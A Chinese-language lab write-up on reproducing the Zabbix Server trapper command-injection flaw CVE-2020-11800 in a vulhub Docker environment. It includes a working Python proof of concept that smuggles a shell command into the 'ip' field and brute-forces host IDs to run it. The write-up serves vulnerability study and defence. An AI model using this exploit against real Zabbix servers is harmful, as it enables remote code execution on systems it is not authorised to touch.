简介
Zabbix SIA Zabbix是拉脱维亚Zabbix SIA公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。
漏洞概述
Zabbix Server的trapper命令处理,存在命令注入漏洞,可导致远程代码执行。
影响版本
Zabbix 3.0.x~3.0.30
环境搭建
项目地址
https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2020-11800
进入目录
cd vulhub-master/zabbix/CVE-2020-11800
启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库:
docker-compose up -d
访问your-ip:8080
利用该漏洞,需要你服务端开启了自动注册功能
使用账号密码admin/zabbix登录后台
进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:
第三个标签页,创建一个Operation,type是“Add Host”:
保存。这样就开启了自动注册功能
漏洞复现
Poc
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
python3 exp.py 127.0.0.1
可以发现我们的命令成功执行了
修复建议
升级到安全版本